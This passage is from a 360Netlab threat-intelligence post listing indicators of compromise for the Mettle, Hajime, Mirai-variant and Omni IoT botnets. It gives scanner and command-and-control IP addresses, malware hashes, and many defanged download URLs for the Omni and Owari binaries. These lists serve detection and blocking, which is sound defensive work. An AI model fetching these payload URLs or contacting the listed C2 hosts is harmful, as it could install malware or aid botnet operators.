**360Netlab**.\n\n####Ioc\n\nMettle\n```\n118.70.80.143 Vietnam/VN Hanoi \"AS18403 The Corporation for Financing & Promoting Technology\" scanner IP\n210.245.26.180:4441 Vietnam/VN Ho Chi Minh City \"AS18403 The Corporation for Financing & Promoting Technology\" c2\n8e2c6a92a024f8b8bb3c086b86fa50f9  malware hash\n```\n\nHajime\n```\natk.mipseb.1525838286   file name\n8CCA32FB1FE4826007B087B4AEE20941  hash original\nED1306E24196533553571D5433312A2D  hash before unpack\nE06E1E7993EA310CE0FBA9DD76CDF377  hash after unpack\n```\n\nMira variant #1\n```\n46.243.189.60 Netherlands/NL \"AS205406 Hostio Solutions B.V.\" scanner IP\n46.243.189.102:127 Netherlands/NL \"AS205406 Hostio Solutions B.V.\" C2 ip\nc6dc9f7cf09a267fefe53c5c481e7ea0   malware hash\n```\n\nOmni\n```\n185.246.152.173:1000 Netherlands/NL \"AS56630 Melbikomas UAB\" C2 \n51.15.106.135 France/FR\t\"AS12876 Online S.a.s.\"   scanner IP\nhxxp://185.246.152.173/omni malware download URL\n```\n\nOmni malware download URLs in all the past\n```\nhxxp://185.246.152.173:80/bins/spc.omni\nhxxp://185.246.152.173:80/bins/sora.spc\nhxxp://185.246.152.173:80/bins/sora.sh4\nhxxp://185.246.152.173:80/bins/sora.arm6\nhxxp://185.246.152.173:80/bins/sora.arm5\nhxxp://185.246.152.173:80/bins/s-owari.spc\nhxxp://185.246.152.173:80/bins/s-owari.mpsl\nhxxp://185.246.152.173:80/bins/s-owari.m68k\nhxxp://185.246.152.173:80/bins/s-owari.arm\nhxxp://185.246.152.173:80/bins/s-owari.arm7\nhxxp://185.246.152.173:80/bins/s-owari.arc\nhxxp://185.246.152.173:80/bins/owari.x86\nhxxp://185.246.152.173:80/bins/owari.spc\nhxxp://185.246.152.173:80/bins/owari.mpsl\nhxxp://185.246.152.173:80/bins/owari.mips\nhxxp://185.246.152.173:80/bins/owari.i586\nhxxp://185.246.152.173:80/bins/owari.arm\nhxxp://185.246.152.173:80/bins/owari.arm7\nhxxp://185.246.152.173:80/bins/owari.arm5\nhxxp://185.246.152.173:80/bins/owari.arm4\nhxxp://185.246.152.173:80/bins/mpsl.omni\nhxxp://185.246.152.173:80/bins/mips.owari\nhxxp://185.246.152.173:80/bins/mips.omni\nhxxp://185.246.152.173:80/bins/arm7.omni\nhxxp://185.246.152.173:80/bins/arm6.omni\nhxxp://185.246.152.173:80/bins/arc.omni\nhxxp://185.246.152.173:80/bins/Owari.x86\nhxxp://185.246.152.173:80/bins/Owari.spc\nhxxp://185.246.152.173:80/bins/Owari.sh4\nhxxp://185.246.152.173:80/bins/Owari.mpsl\nhxxp://185.246.152.173:80/bins/Owari.mips1\nhxxp://185.246.152.173:80/bins/Owari.m68k\nhxxp://185.246.152.173:80/bins/Owari.arm7\nhxxp://185.246.152.173:80/bins/Owari.arm6\nhxxp://185.246.152.173/xOwari.sh\nhxxp://185.246.152.173/bins/x86.omni\nhxxp://185.246.152.173/bins/scan.x86\nhxxp://185.246.152.173/bins/s-owari.ppc\nhxxp://185.246.152.173/bins/s-owari.mpsl\nhxxp://185.246.152.173/bins/s-owari.arm\nhxxp://185.246.152.173/bins/s-owari.arm7\nhxxp://185.246.152.173/bins/owari.spc\nhxxp://185.246.152.173/bins/owari.sh4\nhxxp://185.246.152.173/bins/owari.mips\nhxxp://185.246.152.173/bins/owari.m68k\nhxxp://185.246.152.173/bins/owari.arm\nhxxp://185.246.152.173/bins/owari.arm7\nhxxp://185.246.152.173/bins/nocpu.x86\nhxxp://185.246.152.173/bins/nocpu.mips\nhxxp://185.246.152.173/41ai.sh\n```"}]],"sections":[[10,0]],"ghostVersion":"3.0"}